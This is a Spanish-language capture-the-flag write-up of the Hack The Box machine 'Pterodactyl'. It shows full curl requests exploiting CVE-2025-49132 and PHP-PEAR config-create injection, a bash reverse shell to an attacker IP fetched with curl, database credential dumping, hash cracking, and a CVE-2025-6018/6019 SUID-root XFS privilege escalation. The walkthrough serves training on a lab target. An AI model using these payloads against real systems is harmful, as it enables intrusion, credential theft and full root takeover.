Descripción

Pterodactyl es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Panel de administrador de servidores Pterodactyl permite la inyección de código PHP en un archivo
  • Inyección de código PHP lleva a la ejecución de comandos remotos mediante PHP-PEAR
  • Pivote de usuario leyendo credenciales guardadas en una base de datos MySQL
  • Escalada de privilegios mediante vulnerabilidad de autorización incorrecta en los módulos de autenticación de Linux (PAM) y la configuración allow_active en Polkit y libblockdev conduciendo a la ejecución de una consola root-SUID

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.129.1.99.

$ ping -c 3 10.129.3.188
PING 10.129.3.188 (10.129.3.188) 56(84) bytes of data.
64 bytes from 10.129.3.188: icmp_seq=1 ttl=63 time=43.7 ms
64 bytes from 10.129.3.188: icmp_seq=2 ttl=63 time=43.5 ms
64 bytes from 10.129.3.188: icmp_seq=3 ttl=63 time=43.4 ms

--- 10.129.3.188 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 43.418/43.531/43.720/0.134 ms

La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto), podemos asegurarnos que es una máquina Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN de Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.3.188 -sS -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.3.188
Host is up (0.047s latency).
Not shown: 985 filtered tcp ports (no-response), 11 filtered tcp ports (admin-prohibited)
PORT     STATE  SERVICE
22/tcp   open   ssh
80/tcp   open   http
443/tcp  closed https
8080/tcp closed http-proxy

Nmap done: 1 IP address (1 host up) scanned in 6.55 seconds

Obtenemos dos puertos abiertos: 22 y 80.

Enumeración

Entonces hacemos un escaneo más avanzado, con versión del servicio y scripts.

$ nmap 10.129.3.188 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.3.188
Host is up (0.065s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey: 
|   256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA)
|_  256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519)
80/tcp open  http    nginx 1.21.5
|_http-title: Did not follow redirect to http://pterodactyl.htb/
|_http-server-header: nginx/1.21.5

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.37 seconds

Obtenemos dos servicios: uno Secure Shell (SSH), y uno Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Parece ser una aplicación web en Python. Añadimos el dominio pterodactyl.htb al archivo /etc/hosts.

$ echo '10.129.3.188 pterodactyl.htb' | sudo tee -a /etc/hosts

Cuando abrimos el servicio web encontramos un servidor de Minecraft mencionando el subdominio play. También encontramos un archivo CHANGELOG.txt.

MonitorLand - CHANGELOG.txt
======================================

Version 1.20.X

[Added] Main Website Deployment
--------------------------------
- Deployed the primary landing site for MonitorLand.
- Implemented homepage, and link for Minecraft server.
- Integrated site styling and dark-mode as primary.

[Linked] Subdomain Configuration
--------------------------------
- Added DNS and reverse proxy routing for play.pterodactyl.htb.
- Configured NGINX virtual host for subdomain forwarding.

[Installed] Pterodactyl Panel v1.11.10
--------------------------------------
- Installed Pterodactyl Panel.
- Configured environment:
  - PHP with required extensions.
  - MariaDB 11.8.3 backend.

[Enhanced] PHP Capabilities
-------------------------------------
- Enabled PHP-FPM for smoother website handling on all domains.
- Enabled PHP-PEAR for PHP package management.
- Added temporary PHP debugging via phpinfo()

Encontramos dos cosas interesantes: PHP-PEAR, un gestor de paquetes para PHP está disponible en el entorno y la función phpinfo() está habilitada. Enumeramos los subdominios disponibles.

$ gobuster vhost -u pterodactyl.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain -o vhost_enumeration -r -t 50           
===============================================================
Gobuster v3.8
...
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
panel.pterodactyl.htb Status: 200 [Size: 1897]

Añadimos los subdominios panel y play al archivo /etc/hosts.

$ echo '10.129.3.188 play.pterodactyl.htb' | sudo tee -a /etc/hosts
$ echo '10.129.3.188 panel.pterodactyl.htb' | sudo tee -a /etc/hosts

Encontramos que el archivo phpinfo.php existe en el dominio principal, http://pterodactyl.htb/phpinfo.php. Enumeramos que los archivos para la aplicación PHP-PEAR se guardan en el directorio /usr/share/php/PEAR. En el archivo de cambios anterior, encontramos que la versión instalada del Panel Pterodactyl es la v1.11.10 y se encuentra en el subdominio panel, con una entrada de inicio de sesión.

Explotación

Pterodactyl es un panel de gestión de servidores de juego gratuito, de código abierto. Antes de la versión 1.11.11, utilizando el endpoint /locales/locale.json con los parámetros de consulta locale y namespace, un actor malicioso es capaz de ejecutar código arbitrario sin estar autenticado, CVE-2025-49132. Encontramos una prueba de concepto de la vulnerabilidad en la página de Exploit-DB. Vamos a probarlo para recuperar las credenciales guardadas de la base de datos. El archivo se encuentra en el archivo /var/www/pterodactyl/config/database.php, ya que el archivo se está incluyendo, necesitamos eliminar la cadena .php ya que se agrega.

$ curl "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../&namespace=var/www/pterodactyl/config/database"    
{"..\/..\/..\/..\/..\/":{"var\/www\/pterodactyl\/config\/database":{"default":"mysql","connections":{"mysql":{"driver":"mysql","url":"","host":"127.0.0.1","port":"3306","database":"panel","username":"pterodactyl","password":"PteraPanel","unix_socket":"","charset":"utf8mb4"

Recuperamos el nombre de la base de datos panel, el nombre de usuario pterodactyl y la contraseña PteraPanel. No tenemos acceso directo a la base de datos, por lo que necesitamos obtener la ejecución de comandos remotos para acceder a la base de datos interna de la máquina. Como encontramos previamente, es posible inyectar código PHP mediante esta vulnerabilidad. Encontramos en HackTricks que podemos pasar argumentos al pearcmd.php para crear archivos arbitrarios en el sistema de archivos. Primero necesitamos confirmar que los scripts pearcmd.php existen en el directorio /usr/share/php/PEAR.

$ curl "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../&namespace=usr/share/php/PEAR/pearcmd" 
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">

        <title>Server Error</title>
...

La página nos devuelve un Server Error confirmando que el archivo existe, como si no existiera, devuelve un JSON vacío.

$ curl "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../&namespace=usr/share/php/PEAR/pearcmdd"
{"..\/..\/..\/..\/..\/":{"usr\/share\/php\/PEAR\/pearcmdd":[]}}

Vamos a utilizar la vulnerabilidad con PHP-PEAR al agregar el parámetro config-create para el script, luego la ruta al archivo pearcmd.php, luego el contenido del archivo .php que queremos crear y finalmente el archivo en el que se guardará el código. Como primer paso, vamos a crear el /tmp/command.php que ejecutará el comando id. Necesitamos escapar los caracteres de espacio con ${IFS}.

$ curl "http://panel.pterodactyl.htb/locales/locale.json?+config-create+/&locale=../../../../../&namespace=usr/share/php/PEAR/pearcmd&/<?=system('id')?>+/tmp/command.php"

Ahora desplegamos el archivo command.php incluyéndolo.

$ curl "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../&namespace=tmp/command"
#PEAR_Config 0.9
a:12:{s:7:"php_dir";s:89:"/&locale=../../../../../&namespace=usr/share/php/PEAR/pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)

Encontramos que el comando se ejecuta correctamente, la aplicación siendo ejecutada por el usuario wwwrun. Ahora vamos a crear un script Bash malicioso que va a desplegar una terminal inversa, lo descargaremos en la máquina y luego lo ejecutaremos. Comenzamos creando un puerto TCP de escucha usando el comando nc -nvlp 1234. Luego creamos el script Bash malicioso.

$ echo 'bash -i >& /dev/tcp/10.10.15.42/1234 0>&1' > shell.sh

Después descargamos el script en la máquina (después de crear un servidor HTTP que aloje el script con Python y el comando python -m http.server 80).

$ curl "http://panel.pterodactyl.htb/locales/locale.json?+config-create+/&locale=../../../../../&namespace=usr/share/php/PEAR/pearcmd&/<?=system('curl\$\{IFS\}http://10.10.15.42/shell.sh\$\{IFS\}-o\$\{IFS\}/tmp/shell.sh')?>+/tmp/command.php"

$ curl "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../&namespace=tmp/command"

Luego desplegamos la terminal inversa:

$ curl "http://panel.pterodactyl.htb/locales/locale.json?+config-create+/&locale=../../../../../&namespace=usr/share/php/PEAR/pearcmd&/<?=system('bash\$\{IFS\}/tmp/shell.sh')?>+/tmp/command.php"

$ curl "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../&namespace=tmp/command"

Recibimos la terminal inversa como el usuario wwwrun. La actualizamos.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.15.42] from (UNKNOWN) [10.129.3.188] 38126
bash: cannot set terminal process group (1209): Inappropriate ioctl for device
bash: no job control in this shell
wwwrun@pterodactyl:/var/www/pterodactyl/public> id
id
uid=474(wwwrun) gid=477(www) groups=477(www)
wwwrun@pterodactyl:/var/www/pterodactyl/public> script /dev/null -c bash
$ stty raw -echo; fg
$ reset xterm
wwwrun@pterodactyl:/var/www/pterodactyl/public> export SHELL=bash; export TERM=xterm; stty rows 48 columns 156

Post-Explotación

Encontramos tres usuarios de consola en el sistema: rootheadmonitor, y phileasfogg3.

wwwrun@pterodactyl:/var/www/pterodactyl/public> cd 
wwwrun@pterodactyl:~> grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
nobody:x:65534:65534:nobody:/var/lib/nobody:/bin/bash
sshd:x:475:475:SSH daemon:/var/lib/sshd:/usr/sbin/nologin
headmonitor:x:1001:100::/home/headmonitor:/bin/bash
phileasfogg3:x:1002:100::/home/phileasfogg3:/bin/bash

Podemos enumerar las hashes de contraseñas de la base de datos que descubrimos previamente.

wwwrun@pterodactyl:~> mysql -h 127.0.0.1 -u pterodactyl -p'PteraPanel' panel
mysql: Deprecated program name. It will be removed in a future release, use '/usr/bin/mariadb' instead
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 116
Server version: 11.8.3-MariaDB MariaDB package

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [panel]> select username,password from users;
+--------------+--------------------------------------------------------------+
| username     | password                                                     |
+--------------+--------------------------------------------------------------+
| headmonitor  | $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2 |
| phileasfogg3 | $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi |
+--------------+--------------------------------------------------------------+
2 rows in set (0.000 sec)

Intentamos romper las hashes con la herramienta John The Ripper.

$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!QAZ2wsx         (phileasfogg3)

Solo encontramos la contraseña !QAZ2wsx para el usuario phileasfogg3. La contraseña se reutiliza para el usuario Linux, por lo que podemos pivotear a este usuario utilizando el protocolo SSH.

$ ssh phileasfogg3@pterodactyl.htb
phileasfogg3@pterodactyl:~> id
uid=1002(phileasfogg3) gid=100(users) grupos=100(users)

Enumerando la máquina, encontramos que tenemos correo disponible.

phileasfogg3@pterodactyl:~> cat /var/mail/phileasfogg3 
From headmonitor@pterodactyl Fri Nov 07 09:15:00 2025
Delivered-To: phileasfogg3@pterodactyl
Received: by pterodactyl (Postfix, from userid 0)
id 1234567890; Fri, 7 Nov 2025 09:15:00 +0100 (CET)
From: headmonitor headmonitor@pterodactyl
To: All Users all@pterodactyl
Subject: SECURITY NOTICE — Unusual udisksd activity (stay alert)
Message-ID: 202511070915.headmonitor@pterodactyl
Date: Fri, 07 Nov 2025 09:15:00 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit

Attention all users,

Unusual activity has been observed from the udisks daemon (udisksd). No confirmed compromise at this time, but increased vigilance is required.

Do not connect untrusted external media. Review your sessions for suspicious activity. Administrators should review udisks and system logs and apply pending updates.

Report any signs of compromise immediately to headmonitor@pterodactyl.htb

— HeadMonitor
System Administrator

El usuario headmonitor menciona que hay actividad inusual del demonio udisksd. Enumerando la máquina, encontramos que el sistema operativo en ejecución es OpenSUSE.

phileasfogg3@pterodactyl:~> cat /etc/os-release 
NAME="openSUSE Leap"
VERSION="15.6"
ID="opensuse-leap"
ID_LIKE="suse opensuse"
VERSION_ID="15.6"
PRETTY_NAME="openSUSE Leap 15.6"
ANSI_COLOR="0;32"
CPE_NAME="cpe:/o:opensuse:leap:15.6"
BUG_REPORT_URL="https://bugs.opensuse.org"
HOME_URL="https://www.opensuse.org/"
DOCUMENTATION_URL="https://en.opensuse.org/Portal:Leap"
LOGO="distributor-logo-Leap"

Hay dos vulnerabilidades recientes en OpenSUSE, CVE-2025-6018 y CVE-2025-6019. Estas dos vulnerabilidades combinadas permiten la ejecución de comandos como el usuario root. La primera, es una vulnerabilidad de Escalada de Privilegios Local (LPE) en pam-config dentro de los Módulos de Autenticación Plugable de Linux (PAM), permitiendo a un atacante local sin privilegios obtener los privilegios elevados normalmente reservados para un usuario físicamente presente, allow_active. El riesgo más alto es que el atacante puede entonces realizar todas las acciones Polkit de allow_active yes, como montar discos.

La segunda vulnerabilidad, es debido a la forma en que libblockdev interactúa con el demonio udisks, un usuario allow_active en un sistema puede poder escalar a privilegios completos de root en el host objetivo. Normalmente, udisks monta imágenes de sistemas de archivos proporcionadas por el usuario con banderas de seguridad como nosuid y nodev para prevenir la escalada de privilegios. Sin embargo, un atacante local puede crear una imagen XFS especialmente diseñada que contenga una terminal SUID-root, luego engañar a udisks para que la redimensione. Esto monta su sistema de archivos malicioso con privilegios de root, permitiéndole ejecutar su terminal SUID-root y ganar control completo del sistema.

Para la primera vulnerabilidad solo necesitamos crear el archivo ~/.pam_environment con la variable de entorno XDG_SEAT establecida en seat0 y la variable XDG_VTNR establecida en 1. Luego reiniciaremos la sesión SSH.

phileasfogg3@pterodactyl:~> echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment

phileasfogg3@pterodactyl:~> cat ~/.pam_environment
XDG_SEAT=seat0
XDG_VTNR=1

Luego, en nuestra máquina, crearemos la imagen XFS con la variable Bash SUID maliciosa obtenida de la máquina. Necesitamos instalar el paquete xfsprogs.

$ sudo apt install xfsprogs -y
$ fallocate -l 300M xfs.image
$ mkfs.xfs xfs.image
$ sudo losetup /dev/loop0 xfs.image
$ sudo mount /dev/loop0 /mnt
$ sudo scp phileasfogg3@pterodactyl.htb:/bin/bash /mnt
$ sudo chmod u+s /mnt/bash
$ sudo umount /mnt
$ sudo losetup -d /dev/loop0

Entonces transferimos la imagen XFS a la máquina remota.

$ scp xfs.image phileasfogg3@pterodactyl.htb:/tmp

Ahora podemos utilizar una prueba de concepto desarrollada por guinea-offensive-security en GitHub para desencadenar la vulnerabilidad. Necesitamos comentar la línea 242 (check_dependencies) ya que la aplicación está verificando las dependencias de XFS. Ejecutamos el script y una terminal root es desplegada.

phileasfogg3@pterodactyl:~> cd /tmp
phileasfogg3@pterodactyl:/tmp> nano exploit.sh
phileasfogg3@pterodactyl:/tmp> bash exploit.sh
PoC for CVE-2025-6019 (LPE via libblockdev/udisks)
WARNING: Only run this on authorized systems. Unauthorized use is illegal.
Continue? [y/N]: y
[*] Checking for vulnerable libblockdev/udisks versions...
[*] Detected udisks version: unknown
[!] Warning: Specific vulnerable versions for CVE-2025-6019 are unknown.
[!] Verify manually that the target system runs a vulnerable version of libblockdev/udisks.
[!] Continuing with PoC execution...
Select mode:
[L]ocal: Create 300 MB XFS image (requires root)
[C]ible: Exploit target system
[L]ocal or [C]ible? (L/C): C
[*] Starting exploitation on target machine...
[*] Checking allow_active status...
[+] allow_active status confirmed.
[*] Verifying xfs.image integrity...
[*] Stopping gvfs-udisks2-volume-monitor...
[*] Note: gvfs-udisks2-volume-monitor was not running.
[*] Setting up loop device...
[+] Loop device configured: /dev/loop0
[*] Keeping filesystem busy to prevent unmounting...
[+] Background loop started (PID: 12633)
[*] Resizing filesystem to trigger mount...
[+] Mount successful (expected error: target is busy).
[*] Waiting 2 seconds for mount to stabilize...
[*] Checking for SUID bash in /tmp/blockdev*...
[+] SUID bash found: /tmp/blockdev.57G8J3/bash
-rwsr-xr-x 1 root root 1012656 /tmp/blockdev.57G8J3/bash
[*] Executing root shell...
bash-4.4# id
uid=1002(phileasfogg3) gid=100(users) euid=0(root) grupos=100(users)

Flags

En la terminal root podemos recuperar las banderas user.txt y root.txt.

bash-4.4# cat /home/phileasfogg3/user.txt 
<REDACTED>
bash-4.4# cat /root/root.txt
<REDACTED>